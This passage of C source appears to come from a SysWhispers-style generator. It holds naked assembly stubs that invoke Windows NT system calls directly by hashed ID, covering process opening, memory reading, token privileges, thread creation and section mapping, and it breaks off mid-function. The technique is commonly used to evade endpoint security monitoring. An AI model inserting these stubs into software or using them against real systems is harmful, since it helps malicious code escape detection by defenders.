ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes)\n{\n    __asm {\n        push 0x8C97980F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQuerySymbolicLinkObject(\n    IN HANDLE LinkHandle,\n    IN OUT PUNICODE_STRING LinkTarget,\n    OUT PULONG ReturnedLength OPTIONAL)\n{\n    __asm {\n        push 0xA63A8CA7\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateSection(\n    OUT PHANDLE SectionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN PLARGE_INTEGER MaximumSize OPTIONAL,\n    IN ULONG SectionPageProtection,\n    IN ULONG AllocationAttributes,\n    IN HANDLE FileHandle OPTIONAL)\n{\n    __asm {\n        push 0xF06912F9\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtOpenThreadToken(\n    IN HANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN BOOLEAN OpenAsSelf,\n    OUT PHANDLE TokenHandle)\n{\n    __asm {\n        push 0x73A33918\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateTransaction(\n    OUT PHANDLE TransactionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN LPGUID Uow OPTIONAL,\n    IN HANDLE TmHandle OPTIONAL,\n    IN ULONG CreateOptions OPTIONAL,\n    IN ULONG IsolationLevel OPTIONAL,\n    IN ULONG IsolationFlags OPTIONAL,\n    IN PLARGE_INTEGER Timeout OPTIONAL,\n    IN PUNICODE_STRING Description OPTIONAL)\n{\n    __asm {\n        push 0x7CAB5EFB\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQueryInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass)\n{\n    __asm {\n        push 0x38985C1E\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtMakeTemporaryObject(\n    IN HANDLE Handle)\n{\n    __asm {\n        push 0x84DF4D82\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateKey(\n    OUT PHANDLE KeyHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN ULONG TitleIndex,\n    IN PUNICODE_STRING Class OPTIONAL,\n    IN ULONG CreateOptions,\n    OUT PULONG Disposition OPTIONAL)\n{\n    __asm {\n        push 0xA1B2860C\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtSetValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName,\n    IN ULONG TitleIndex OPTIONAL,\n    IN ULONG Type,\n    IN PVOID SystemData,\n    IN ULONG DataSize)\n{\n    __asm {\n        push 0x0A1F2D80\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtQueryWnfStateNameInformation(\n    IN PVOID StateName,\n    IN ULONG NameInfoClass,\n    IN PVOID ExplicitScope OPTIONAL,\n    OUT PVOID InfoBuffer,\n    IN ULONG InfoBufferSize)\n{\n    __asm {\n        push 0x14823613\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtUpdateWnfStateData(\n    IN PVOID StateName,\n    IN PVOID Buffer OPTIONAL,\n    IN ULONG Length OPTIONAL,\n    IN PCWNF_TYPE_ID TypeId OPTIONAL,\n    IN PVOID ExplicitScope OPTIONAL,\n    IN WNF_CHANGE_STAMP MatchingChangeStamp,\n    IN ULONG CheckStamp)\n{\n    __asm {\n        push 0xE63DF28A\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtOpenEvent(\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes)\n{\n    __asm {\n        push 0x32A83D3A\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtAlpcConnectPort(\n    OUT PHANDLE PortHandle,\n    IN PUNICODE_STRING PortName,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN PALPC_PORT_ATTRIBUTES PortAttributes OPTIONAL,\n    IN ULONG Flags,\n    IN PSID RequiredServerSid OPTIONAL,\n    IN OUT PVOID ConnectionMessage OPTIONAL,\n    IN OUT PULONG BufferLength OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES InMessageAttributes OPTIONAL,\n    IN PLARGE_INTEGER Timeout OPTIONAL)\n{\n    __asm {\n        push 0x6AF3595C\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtAlpcSendWaitReceivePort(\n    IN HANDLE PortHandle,\n    IN ULONG Flags,\n    IN PPORT_MESSAGE SendMessage OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes OPTIONAL,\n    OUT PPORT_MESSAGE ReceiveMessage OPTIONAL,\n    IN OUT PSIZE_T BufferLength OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes OPTIONAL,\n    IN PLARGE_INTEGER Timeout OPTIONAL)\n{\n    __asm {\n        push 0xE830236E\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateThreadEx(\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN HANDLE ProcessHandle,\n    IN PVOID StartRoutine,\n    IN PVOID Argument OPTIONAL,\n    IN ULONG CreateFlags,\n    IN SIZE_T ZeroBits,\n    IN SIZE_T StackSize,\n    IN SIZE_T MaximumStackSize,\n    IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL)\n{\n    __asm {\n        push 0x113F55E3\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtDeleteKey(\n    IN HANDLE KeyHandle)\n{\n    __asm {\n        push 0x6BDA0E04\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtPrivilegeCheck(\n    IN HANDLE ClientToken,\n    IN OUT PPRIVILEGE_SET RequiredPrivileges,\n    OUT PBOOL Result)\n{\n    __asm {\n        push 0x12B1DE10\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtCreateEvent(\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE EventType,\n    IN BOOLEAN InitialState)\n{\n    __asm {\n        push 0x10893520\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtTerminateThread(\n    IN HANDLE ThreadHandle,\n    IN NTSTATUS ExitStatus)\n{\n    __asm {\n        push 0x381B3AB5\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS _NtFsControlFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG FsControlCode,\n    IN PVOID InputBuffer OPTIONAL,\n    IN ULONG InputBufferLength,\n    OUT PVOID OutputBuffer OPTIONAL,\n    IN ULONG OutputBufferLength)\n{\n    __asm {\n        push 0x20C6D09C\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtGetContextThread(\n    IN HANDLE ThreadHandle,\n    IN OUT PCONTEXT ThreadContext)\n{\n    __asm {\n        push 0xBA9EF43C\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtSetContextThread(\n    IN HANDLE ThreadHandle,\n    IN PCONTEXT Context)\n{\n    __asm {\n        push 0xCB668D44\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtResumeThread(\n    IN HANDLE ThreadHandle,\n    IN OUT PULONG PreviousSuspendCount OPTIONAL)\n{\n    __asm {\n        push 0x1339598F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtDelayExecution(\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER DelayInterval)\n{\n    __asm {\n        push 0xB6EB75BA\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtGetNextThread(\n    IN HANDLE ProcessHandle,\n    IN HANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Flags,\n    OUT PHANDLE NewThreadHandle)\n{\n    __asm {\n        push 0x1BB0D9EF\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS _NtQueryInformationThread(\n    IN HANDLE ThreadHandle,\n    IN THREADINFOCLASS ThreadInformationClass,\n    OUT PVOID ThreadInformation,\n    IN ULONG ThreadInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n    __asm {\n        push 0x0ACD84E7\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtOpenThread(\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PCLIENT_ID ClientId OPTIONAL)\n{\n    __asm {\n        push 0x36960437\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtMapViewOfSection(\n    IN HANDLE SectionHandle,\n    IN HANDLE ProcessHandle,\n    IN OUT PVOID BaseAddress,\n    IN ULONG ZeroBits,\n    IN SIZE_T CommitSize,\n    IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,\n    IN OUT PSIZE_T ViewSize,\n    IN SECTION_INHERIT InheritDisposition,\n    IN ULONG AllocationType,\n    IN ULONG Win32Protect)\n{\n    __asm {\n        push 0x7A2D5C79\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtUnmapViewOfSection(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress)\n{\n    __asm {\n        push 0xCA1ACC8F\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n__declspec(naked) NTSTATUS NtImpersonateThread(\n    IN HANDLE ThreadHandle,\n    IN HANDLE ThreadToImpersonate,\n    IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService)\n{\n    __asm {\n        push 0x0C26D619\n        call SW3_GetSyscallAddress\n        pop ebx\n        push eax\n        push ebx\n        call SW2_GetSyscallNumber\n        add esp, 4\n        pop ebx\n        mov edx, esp\n        sub edx, 4\n        call ebx\n        ret\n    }\n}\n\n#elif defined(__GNUC__)\n\n__declspec(naked) BOOL local_is_wow64(void)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov rax, 0 \\n\"\n        \"ret \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"mov eax, fs:[0xc0] \\n\"\n        \"test eax, eax \\n\"\n        \"jne wow64 \\n\"\n        \"mov eax, 0 \\n\"\n        \"ret \\n\"\n        \"wow64: \\n\"\n        \"mov eax, 1 \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) PVOID getIP(void)\n{\n#ifdef _WIN64\n    asm(\n    SET_SYNTAX\n    \"mov rax, [rsp] \\n\"\n    \"ret \\n\"\n    );\n#else\n    __asm__(\n    SET_SYNTAX\n    \"mov eax, [esp] \\n\"\n    \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtOpenProcess(\n    OUT PHANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PVOID ClientId OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xCD9B2A0F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xCD9B2A0F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtGetNextProcess(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN ULONG HandleAttributes,\n    IN ULONG Flags,\n    OUT PHANDLE NewProcessHandle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xFFBF1A2F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xFFBF1A2F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtReadVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    OUT PVOID Buffer,\n    IN SIZE_T BufferSize,\n    OUT PSIZE_T NumberOfBytesRead OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x118B7567 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x118B7567 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtClose(\n    IN HANDLE Handle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x2252D33F \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x2252D33F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtOpenProcessToken(\n    IN HANDLE ProcessHandle,\n    IN ACCESS_MASK DesiredAccess,\n    OUT PHANDLE TokenHandle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x8FA915A2 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x8FA915A2 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQueryInformationProcess(\n    IN HANDLE ProcessHandle,\n    IN PROCESSINFOCLASS ProcessInformationClass,\n    OUT PVOID ProcessInformation,\n    IN ULONG ProcessInformationLength,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xBDBCBC20 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xBDBCBC20 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQueryVirtualMemory(\n    IN HANDLE ProcessHandle,\n    IN PVOID BaseAddress,\n    IN MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    OUT PVOID MemoryInformation,\n    IN SIZE_T MemoryInformationLength,\n    OUT PSIZE_T ReturnLength OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x0393E980 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x0393E980 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtAdjustPrivilegesToken(\n    IN HANDLE TokenHandle,\n    IN BOOLEAN DisableAllPrivileges,\n    IN PTOKEN_PRIVILEGES NewState OPTIONAL,\n    IN ULONG BufferLength,\n    OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL,\n    OUT PULONG ReturnLength OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x17AB1B32 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x17AB1B32 \\n\"\n        \"call 